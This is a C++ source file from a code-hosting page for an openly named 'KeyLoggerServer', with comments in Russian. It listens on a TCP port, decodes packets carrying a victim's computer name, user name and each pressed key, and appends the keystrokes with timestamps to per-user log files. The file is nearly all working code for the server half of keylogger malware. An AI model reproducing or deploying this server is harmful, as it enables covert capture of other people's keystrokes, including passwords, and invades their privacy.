You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

137 lines
5.5 KiB

2 years ago
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <iostream>
#include <unistd.h>
#include <vector>
#include <sstream>
#include <fstream>
#include "main.h"
TCPIPPacket::TCPIPPacket() :
typeID(1), size(0), time(0), crc32(0),
pcNameSize(0), pcName(""), userNameSize(0),
userName(""), keyNameSize(0), keyName("")
{
}
void bytesToPacket(TCPIPPacket* pPacket, bytes_vector& vBytes); // функция формирования пакета из массива байтов
void processPacket(TCPIPPacket* pPacket); // функция обработки пакета
int main() {
std::cout << "[>] KeyLoggerServer has been started..." << std::endl;
int sock, listener;
sockaddr_in addr;
listener = socket(AF_INET, SOCK_STREAM, 0);
if(listener < 0) {
std::cout << "[x] KeyLoggerServer couldn't open a socket." << std::endl;
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(51043);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(listener, (sockaddr*) &addr, sizeof(addr)) < 0) {
std::cout << "[x] KeyLoggerServer couldn't bind a socket." << std::endl;
exit(2);
}
listen(listener, 1); // одновременно подключиться может только 1 клиент
bytes_vector vBytes; // вектор принятых байтов
TCPIPPacket* pPacket = nullptr;
char buffer[1024];
while(true) {
sock = accept(listener, nullptr, nullptr);
if(sock < 0) {
std::cout << "[x] KeyLoggerServer couldn't accept a socket." << std::endl;
break;
}
std::cout << "[>] KeyLoggerServer has accepted new connection." << std::endl;
uint32_t nBytes = 0;
while (true) {
nBytes = recv(sock, buffer, sizeof buffer, 0);
if (nBytes <= 0) { // если не было принято никаких байтов
continue; // будем ждать дальше
}
std::cout << "Number of received bytes = " << nBytes << std::endl;
for (auto i = 0; i < nBytes; i++) { // добавляем принятые байты к вектору
vBytes.push_back(buffer[i]);
}
if (vBytes.size() == nBytes) { // если это только начало пакета
pPacket = new TCPIPPacket(); // создаем объект под этот пакет
}
if (vBytes.size() <= MIN_PACKET_SIZE) { // мы пока не знаем размер пакета
continue; // будем ждать его
}
if (!pPacket) { // если что-то пошло не так
break; // просто выйдем из цикла
}
bytes_vector vSize{vBytes.begin() + 1, vBytes.begin() + 5}; // в vSize загоняем байты размера
popValue(vSize, pPacket->size);
if (nBytes >= pPacket->size) { // если принят по меньшей мере полный пакет
bytesToPacket(pPacket, vBytes); // из байтов формируем пакет, размер вектора уменьшается
processPacket(pPacket); // обрабатываем пакет
delete pPacket; // удаляем пакет, поскольку он уже полностью обработан
std::cout << "[>] KeyLoggerServer has been processed a new packet" << std::endl;
continue; // на этом текущая итерация закончилась
}
}
close(sock);
}
return 0;
}
void bytesToPacket(TCPIPPacket* pPacket, bytes_vector& vBytes) {
popValue(vBytes, pPacket->typeID); // вытаскиваем идентификатор пакета
popValue(vBytes, pPacket->size); // вытаскиваем размер пакета
popValue(vBytes, pPacket->time); // вытаскиваем время отправки пакета
popValue(vBytes, pPacket->crc32); // вытаскиваем контрольную сумму
popValue(vBytes, pPacket->pcNameSize); // количество байтов в имени компьютера
popValue(vBytes, pPacket->pcName, pPacket->pcNameSize); // имя компьютера
popValue(vBytes, pPacket->userNameSize); // количество байтов в имени пользователя
popValue(vBytes, pPacket->userName, pPacket->userNameSize); // имя пользователя
popValue(vBytes, pPacket->keyNameSize); // количество байтов в имени нажатой клавиши
popValue(vBytes, pPacket->keyName, pPacket->keyNameSize); // имя нажатой клавиши
}
std::string getDateTime(const uint32_t& unixTime) {
time_t now = unixTime;
tm tstruct;
char buffer[80];
tstruct = *localtime(&now);
strftime(buffer, sizeof(buffer), "%Y-%m-%d.%X", &tstruct);
return buffer;
}
void processPacket(TCPIPPacket* pPacket) {
std::stringstream path;
path << "/home/dubininvyu/Projects/KeyLoggerServer/data/" << pPacket->pcName << '-' << pPacket->userName << ".log";
std::ofstream file(path.str(), std::ios::app);
if (!file.is_open()) {
std::cout << "[x] KeyLoggerServer couldn't open a file " << path.str() << std::endl;
}
file << '[' << getDateTime(pPacket->time) << ']' << ' ' << pPacket->keyName << std::endl;
file.close(); // закрываем файл
}